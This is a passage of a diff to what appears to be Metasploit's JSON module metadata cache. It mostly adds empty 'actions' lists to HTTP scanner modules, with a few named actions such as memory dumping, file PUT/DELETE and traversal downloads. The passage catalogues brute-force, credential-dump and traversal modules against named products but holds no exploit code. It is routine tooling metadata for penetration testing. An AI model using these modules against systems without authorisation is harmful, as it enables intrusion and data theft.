"needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/drupal_views_user_enum": { "name": "Drupal Views Module Users Enumeration", @@ -29275,7 +32374,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/ektron_cms400net": { "name": "Ektron CMS400.NET Default Password Scanner", @@ -29322,7 +32424,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/elasticsearch_memory_disclosure": { "name": "Elasticsearch Memory Disclosure", @@ -29382,7 +32487,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "DUMP", + "description": "Dump memory contents to loot" + }, + { + "name": "SCAN", + "description": "Check hosts for vulnerability" + } + ] }, "auxiliary_scanner/http/elasticsearch_traversal": { "name": "ElasticSearch Snapshot API Directory Traversal", @@ -29432,7 +32547,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/emby_ssrf_scanner": { "name": "Emby SSRF HTTP Scanner", @@ -29492,7 +32610,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/emby_version_ssrf": { "name": "Emby Version Scanner", @@ -29552,7 +32673,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/enum_wayback": { "name": "Archive.org Stored Domain URLs", @@ -29590,7 +32714,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/epmp1000_dump_config": { "name": "Cambium ePMP 1000 Dump Device Config", @@ -29637,7 +32764,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/epmp1000_dump_hashes": { "name": "Cambium ePMP 1000 'ping' Password Hash Extractor (up to v2.5)", @@ -29685,7 +32815,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/epmp1000_get_chart_cmd_exec": { "name": "Cambium ePMP 1000 'get_chart' Command Injection (v3.1-3.5-RC7)", @@ -29733,7 +32866,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/epmp1000_ping_cmd_exec": { "name": "Cambium ePMP 1000 'ping' Command Injection (up to v2.5)", @@ -29781,7 +32917,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/epmp1000_reset_pass": { "name": "Cambium ePMP 1000 Account Password Reset", @@ -29829,7 +32968,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/epmp1000_web_login": { "name": "Cambium ePMP 1000 Login Scanner", @@ -29876,7 +33018,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/error_sql_injection": { "name": "HTTP Error Based SQL Injection Scanner", @@ -29923,7 +33068,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/es_file_explorer_open_port": { "name": "ES File Explorer Open Port", @@ -29976,7 +33124,57 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "APPLAUNCH", + "description": "Launch an app. ACTIONITEM required." + }, + { + "name": "GETDEVICEINFO", + "description": "Get device info" + }, + { + "name": "GETFILE", + "description": "Get a file from the device. ACTIONITEM required." + }, + { + "name": "LISTAPPS", + "description": "List all the apps installed" + }, + { + "name": "LISTAPPSALL", + "description": "List all the apps installed" + }, + { + "name": "LISTAPPSPHONE", + "description": "List all the phone apps installed" + }, + { + "name": "LISTAPPSSDCARD", + "description": "List all the apk files stored on the sdcard" + }, + { + "name": "LISTAPPSSYSTEM", + "description": "List all the system apps installed" + }, + { + "name": "LISTAUDIOS", + "description": "List all the audio files" + }, + { + "name": "LISTFILES", + "description": "List all the files on the sdcard" + }, + { + "name": "LISTPICS", + "description": "List all the pictures" + }, + { + "name": "LISTVIDEOS", + "description": "List all the videos" + } + ] }, "auxiliary_scanner/http/etherpad_duo_login": { "name": "EtherPAD Duo Login Bruteforce Utility", @@ -30023,7 +33221,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/exchange_proxylogon": { "name": "Microsoft Exchange ProxyLogon Scanner", @@ -30086,7 +33287,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/exchange_web_server_pushsubscription": { "name": "Microsoft Exchange Privilege Escalation Exploit", @@ -30135,7 +33339,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/f5_bigip_virtual_server": { "name": "F5 BigIP HTTP Virtual Server Scanner", @@ -30184,7 +33391,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/f5_mgmt_scanner": { "name": "F5 Networks Devices Management Interface Scanner", @@ -30233,7 +33443,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/file_same_name_dir": { "name": "HTTP File Same Name Directory Scanner", @@ -30280,7 +33493,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/files_dir": { "name": "HTTP Interesting File Scanner", @@ -30327,7 +33543,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/fortimail_login_bypass_detection": { "name": "FortiMail Unauthenticated Login Bypass Scanner", @@ -30378,7 +33597,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/fortinet_ssl_vpn": { "name": "Fortinet SSL VPN Bruteforce Login Utility", @@ -30425,7 +33647,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/frontpage_credential_dump": { "name": "FrontPage .pwd File Credential Dump", @@ -30475,7 +33700,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/frontpage_login": { "name": "FrontPage Server Extensions Anonymous Login Scanner", @@ -30523,7 +33751,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/gavazzi_em_login_loot": { "name": "Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database", @@ -30571,7 +33802,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/git_scanner": { "name": "HTTP Git Scanner", @@ -30619,7 +33853,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/gitlab_graphql_user_enum": { "name": "GitLab GraphQL API User Enumeration", @@ -30678,7 +33915,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/gitlab_login": { "name": "GitLab Login Utility", @@ -30725,7 +33965,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/gitlab_user_enum": { "name": "GitLab User Enumeration", @@ -30772,7 +34015,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/glassfish_login": { "name": "GlassFish Brute Force Utility", @@ -30821,7 +34067,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/glassfish_traversal": { "name": "Path Traversal in Oracle GlassFish Server Open Source Edition", @@ -30871,7 +34120,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/goahead_traversal": { "name": "Embedthis GoAhead Embedded Web Server Directory Traversal", @@ -30920,7 +34172,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/grafana_plugin_traversal": { "name": "Grafana Plugin Path Traversal", @@ -30929,7 +34184,7 @@ ], "rank": 300, - "disclosure_date": null, + "disclosure_date": "2021-12-02", "type": "auxiliary", "author": [ "h00die", @@ -30942,7 +34197,8 @@ "URL-https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/", "EDB-50581", "URL-https://github.com/jas502n/Grafana-CVE-2021-43798", - "URL-https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce" + "URL-https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce", + "URL-https://labs.detectify.com/security-guidance/how-i-found-the-grafana-zero-day-path-traversal-exploit-that-gave-me-access-to-your-logs/" ], "platform": "", "arch": "", @@ -30963,7 +34219,7 @@ "https" ], "targets": null, - "mod_time": "2023-06-07 11:34:00 +0000", + "mod_time": "2023-11-02 07:43:01 +0000", "path": "/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb", "is_install_path": true, "ref_name": "scanner/http/grafana_plugin_traversal", @@ -30982,7 +34238,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/groupwise_agents_http_traversal": { "name": "Novell Groupwise Agents HTTP Directory Traversal", @@ -31033,7 +34292,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/host_header_injection": { "name": "HTTP Host Header Injection Detection", @@ -31082,7 +34344,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/hp_imc_bims_downloadservlet_traversal": { "name": "HP Intelligent Management BIMS DownloadServlet Directory Traversal", @@ -31133,7 +34398,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/hp_imc_faultdownloadservlet_traversal": { "name": "HP Intelligent Management FaultDownloadServlet Directory Traversal", @@ -31184,7 +34452,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/hp_imc_ictdownloadservlet_traversal": { "name": "HP Intelligent Management IctDownloadServlet Directory Traversal", @@ -31235,7 +34506,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/hp_imc_reportimgservlt_traversal": { "name": "HP Intelligent Management ReportImgServlt Directory Traversal", @@ -31286,7 +34560,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/hp_imc_som_file_download": { "name": "HP Intelligent Management SOM FileDownloadServlet Arbitrary Download", @@ -31337,7 +34614,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/hp_sitescope_getfileinternal_fileaccess": { "name": "HP SiteScope SOAP Call getFileInternal Remote File Access", @@ -31387,7 +34667,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/hp_sitescope_getsitescopeconfiguration": { "name": "HP SiteScope SOAP Call getSiteScopeConfiguration Configuration Access", @@ -31437,7 +34720,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/hp_sitescope_loadfilecontent_fileaccess": { "name": "HP SiteScope SOAP Call loadFileContent Remote File Access", @@ -31487,7 +34773,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/hp_sys_mgmt_login": { "name": "HP System Management Homepage Login Utility", @@ -31534,7 +34823,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/http_header": { "name": "HTTP Header Detection", @@ -31583,7 +34875,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/http_hsts": { "name": "HTTP Strict Transport Security (HSTS) Detection", @@ -31630,7 +34925,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/http_login": { "name": "HTTP Login Utility", @@ -31679,7 +34977,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/http_put": { "name": "HTTP Writable Path PUT/DELETE File Access", @@ -31728,7 +35029,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "DELETE", + "description": "Delete remote file" + }, + { + "name": "PUT", + "description": "Upload local file" + } + ] }, "auxiliary_scanner/http/http_sickrage_password_leak": { "name": "HTTP SickRage Password Leak", @@ -31777,7 +35088,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/http_traversal": { "name": "Generic HTTP Directory Traversal Utility", @@ -31827,7 +35141,25 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "CHECK", + "description": "Check for basic directory traversal" + }, + { + "name": "DOWNLOAD", + "description": "Attempt to download files after brute forcing a trigger" + }, + { + "name": "PHPSOURCE", + "description": "Attempt to retrieve php source code files" + }, + { + "name": "WRITABLE", + "description": "Check if a traversal bug allows us to write anywhere" + } + ] }, "auxiliary_scanner/http/http_version": { "name": "HTTP Version Detection", @@ -31874,7 +35206,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/httpbl_lookup": { "name": "Http:BL Lookup", @@ -31912,7 +35247,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/httpdasm_directory_traversal": { "name": "Httpdasm Directory Traversal", @@ -31960,7 +35298,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/icinga_static_library_file_directory_traversal": { "name": "Icingaweb Directory Traversal in Static Library File Requests", @@ -32022,7 +35363,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/iis_internal_ip": { "name": "Microsoft IIS HTTP Internal IP Disclosure", @@ -32076,7 +35420,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/iis_shortname_scanner": { "name": "Microsoft IIS shortname vulnerability scanner", @@ -32127,7 +35474,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/influxdb_enum": { "name": "InfluxDB Enum Utility", @@ -32176,7 +35526,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/infovista_enum": { "name": "InfoVista VistaPortal Application Bruteforce Login Utility", @@ -32223,7 +35576,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/intel_amt_digest_bypass": { "name": "Intel AMT Digest Authentication Bypass Scanner", @@ -32272,7 +35628,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/ipboard_login": { "name": "IP Board Login Auxiliary Module", @@ -32319,7 +35678,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/jboss_status": { "name": "JBoss Status Servlet Information Gathering", @@ -32370,7 +35732,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/jboss_vulnscan": { "name": "JBoss Vulnerability Scanner", @@ -32422,7 +35787,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/jenkins_command": { "name": "Jenkins-CI Unauthenticated Script-Console Scanner", @@ -32473,7 +35841,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/jenkins_enum": { "name": "Jenkins-CI Enumeration", @@ -32520,7 +35891,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/jenkins_login": { "name": "Jenkins-CI Login Utility", @@ -32568,7 +35942,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/jira_user_enum": { "name": "Jira Users Enumeration", @@ -32626,7 +36003,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/joomla_api_improper_access_checks": { "name": "Joomla API Improper Access Checks", @@ -32687,7 +36067,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/joomla_bruteforce_login": { "name": "Joomla Bruteforce Login Utility", @@ -32734,7 +36117,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/joomla_ecommercewd_sqli_scanner": { "name": "Web-Dorado ECommerce WD for Joomla! search_category_id SQL Injection Scanner", @@ -32781,7 +36167,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/joomla_gallerywd_sqli_scanner": { "name": "Gallery WD for Joomla! Unauthenticated SQL Injection Scanner", @@ -32829,7 +36218,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/joomla_pages": { "name": "Joomla Page Scanner", @@ -32876,7 +36268,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/joomla_plugins": { "name": "Joomla Plugins Scanner", @@ -32923,7 +36318,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/joomla_version": { "name": "Joomla Version Scanner", @@ -32970,7 +36368,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/jupyter_login": { "name": "Jupyter Login Utility", @@ -33017,7 +36418,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/kodi_traversal": { "name": "Kodi 17.0 Local File Inclusion Vulnerability", @@ -33065,7 +36469,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/limesurvey_zip_traversals": { "name": "LimeSurvey Zip Path Traversals", @@ -33130,7 +36537,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/linknat_vos_traversal": { "name": "Linknat Vos Manager Traversal", @@ -33178,7 +36588,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/linksys_e1500_traversal": { "name": "Linksys E1500 Directory Traversal Vulnerability", @@ -33229,7 +36642,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/litespeed_source_disclosure": { "name": "LiteSpeed Source Code Disclosure/Download", @@ -33280,7 +36696,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/log4shell_scanner": { "name": "Log4Shell HTTP Scanner", @@ -33344,7 +36763,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/lucky_punch": { "name": "HTTP Microsoft SQL Injection Table XSS Infection", @@ -33391,7 +36813,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/majordomo2_directory_traversal": { "name": "Majordomo2 _list_file_get() Directory Traversal", @@ -33442,7 +36867,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/manageengine_desktop_central_login": { "name": "ManageEngine Desktop Central Login Utility", @@ -33489,7 +36917,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/manageengine_deviceexpert_traversal": { "name": "ManageEngine DeviceExpert 5.6 ScheduleResultViewer FileName Traversal", @@ -33537,7 +36968,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/manageengine_deviceexpert_user_creds": { "name": "ManageEngine DeviceExpert User Credentials", @@ -33587,7 +37021,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/manageengine_securitymanager_traversal": { "name": "ManageEngine SecurityManager Plus 5.5 Directory Traversal", @@ -33636,7 +37073,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/mediawiki_svg_fileaccess": { "name": "MediaWiki SVG XML Entity Expansion Remote File Access", @@ -33687,7 +37127,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/meteocontrol_weblog_extractadmin": { "name": "Meteocontrol WEBlog Password Extractor", @@ -33736,7 +37179,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/mod_negotiation_brute": { "name": "Apache HTTPD mod_negotiation Filename Bruter", @@ -33783,7 +37229,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/mod_negotiation_scanner": { "name": "Apache HTTPD mod_negotiation Scanner", @@ -33830,7 +37279,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/ms09_020_webdav_unicode_bypass": { "name": "MS09-020 IIS6 WebDAV Unicode Authentication Bypass", @@ -33882,7 +37334,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/ms15_034_http_sys_memory_dump": { "name": "MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure", @@ -33937,7 +37392,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/mybook_live_login": { "name": "Western Digital MyBook Live Login Utility", @@ -33984,7 +37442,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/nagios_xi_scanner": { "name": "Nagios XI Scanner", @@ -34035,7 +37496,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/netdecision_traversal": { "name": "NetDecision NOCVision Server Directory Traversal", @@ -34085,7 +37549,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/netgear_sph200d_traversal": { "name": "Netgear SPH200D Directory Traversal Vulnerability", @@ -34135,7 +37602,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/nginx_source_disclosure": { "name": "Nginx Source Code Disclosure/Download", @@ -34186,7 +37656,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/novell_file_reporter_fsfui_fileaccess": { "name": "NFR Agent FSFUI Record Arbitrary Remote File Access", @@ -34234,7 +37707,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/novell_file_reporter_srs_fileaccess": { "name": "NFR Agent SRS Record Arbitrary Remote File Access", @@ -34283,7 +37759,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/novell_mdm_creds": { "name": "Novell Zenworks Mobile Device Managment Admin Credentials", @@ -34333,7 +37812,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/ntlm_info_enumeration": { "name": "Host Information Enumeration via NTLM Authentication", @@ -34380,7 +37862,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/octopusdeploy_login": { "name": "Octopus Deploy Login Utility", @@ -34427,7 +37912,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/onion_omega2_login": { "name": "Onion Omega2 Login Brute-Force", @@ -34465,7 +37953,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/open_proxy": { "name": "HTTP Open Proxy Detection", @@ -34513,7 +38004,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/openmind_messageos_login": { "name": "OpenMind Message-OS Portal Login Brute Force Utility", @@ -34560,7 +38054,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/options": { "name": "HTTP Options Detection", @@ -34613,7 +38110,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/oracle_demantra_database_credentials_leak": { "name": "Oracle Demantra Database Credentials Leak", @@ -34663,7 +38163,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/oracle_demantra_file_retrieval": { "name": "Oracle Demantra Arbitrary File Retrieval with Authentication Bypass", @@ -34713,7 +38216,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/oracle_ilom_login": { "name": "Oracle ILO Manager Login Brute Force Utility", @@ -34760,7 +38266,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/owa_ews_login": { "name": "OWA Exchange Web Services (EWS) Login Scanner", @@ -34798,7 +38307,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/owa_iis_internal_ip": { "name": "Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure", @@ -34845,7 +38357,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/owa_login": { "name": "Outlook Web App (OWA) Brute Force Utility", @@ -34900,7 +38415,29 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "OWA_2003", + "description": "OWA version 2003" + }, + { + "name": "OWA_2007", + "description": "OWA version 2007" + }, + { + "name": "OWA_2010", + "description": "OWA version 2010" + }, + { + "name": "OWA_2013", + "description": "OWA version 2013" + }, + { + "name": "OWA_2016", + "description": "OWA version 2016" + } + ] }, "auxiliary_scanner/http/phpmyadmin_login": { "name": "PhpMyAdmin Login Scanner", @@ -34947,7 +38484,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/pocketpad_login": { "name": "PocketPAD Login Bruteforce Force Utility", @@ -34994,7 +38534,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, 